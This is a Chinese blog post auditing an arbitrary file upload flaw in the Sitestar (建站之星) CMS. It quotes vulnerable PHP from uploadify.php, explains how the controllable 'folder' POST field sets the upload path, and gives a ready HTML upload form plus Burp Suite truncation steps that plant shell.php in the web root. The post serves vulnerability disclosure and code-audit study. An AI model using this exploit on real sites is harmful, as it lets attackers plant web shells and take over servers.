建站之星任意文件上传漏洞(续一)


Apr 25 2014

建站之星任意文件上传漏洞(续一)

首页 » 代码审计 » 建站之星任意文件上传漏洞(续一)   

建站之星任意文件上传漏洞(续一)

作者:felixk3y


#1 漏洞挖掘

漏洞出现在

/script/multiupload/uploadify.php 51行---

if (!empty($_FILES) && in_array($file_ext,$ext_arr)) {

	//echo '2222';

	$tempFile = $_FILES['Filedata']['tmp_name'];

	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';

	//echo $targetPath;

	$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];

	// 解决Windows中文文件名乱码

	if (preg_match("/^WIN/i", PHP_OS)) {

		$imgfile = iconv('UTF-8', 'GBK', $imgfile);

	}



	move_uploaded_file($tempFile, $imgfile);

	ParamParser::fire_virus($imgfile);



	function img_restruck($imgfile_name,$root, $path = 'upload/image/') {

		define('SSFCK', 1);

		define('SSROOT', $root);

		include_once($root.'/library/image.func.php');



		$fullfilename = SSROOT."/$path".$imgfile_name;



		WaterImg($fullfilename, 'up');

    }



	if($WATERMARK_STATUS) img_restruck($_FILES['Filedata']['name'],$root);

	echo "1";

}
#2 漏洞分析

往往出现文件上传漏洞,不是文件名可控,就是路径可控(低级的文件上传不包括在内)

看看文件名是否可控

搜索move_uploaded_file函数,往前看...

move_uploaded_file($tempFile, $imgfile);



跟上$imgfile

$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];



$_FILES['Filedata']['name']貌似我们可以控制,继续...

$_FILES['Filedata']['name'] = date("YmdHis") . '_' . rand(10, 99) . '.' . $file_ext;



看见了吧,原来我们不可控.好吧 那我们继续看另一个:路径是否可控

$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];



跟下$targetPath

$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';



看看 $path 怎么来的,本文件第14行:

list($path, $target) = explode("|", $_POST['folder']);



看见了吧? $_POST['folder'] 是我们完全可以控制的

呵呵 ,看吧 漏洞挖掘原来如此简单...

(其实一点儿也不简单 :-))

漏洞证明:

#3 漏洞利用

将如下代码保存为Upload.htm

<html>

<body>

<form id="frmUpload" action="http://127.0.0.1/sitestar/script/multiupload/uploadify.php?" method="post" enctype="multipart/form-data" >

  <input type="file" name="Filedata" id="Filedata">

  <input name="folder" type="hidden" value="/shell.php.jpg|shell.jpg">

  <input id="btnUpload" type="submit" value="Upload">

</form>

</body>

</html>


访问Upload.htm,采用Burpsuite抓包截断

7.jpg

点击Forward,就可在根目录下生成shell.php

8.jpg

如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: 代码审计 上传漏洞

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «上传截断漏洞案例 | PHPCMS前台设计缺陷导致任意代码执行»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

已有1条评论

匿名

2014-04-27 14:50 沙发
涉及什么版本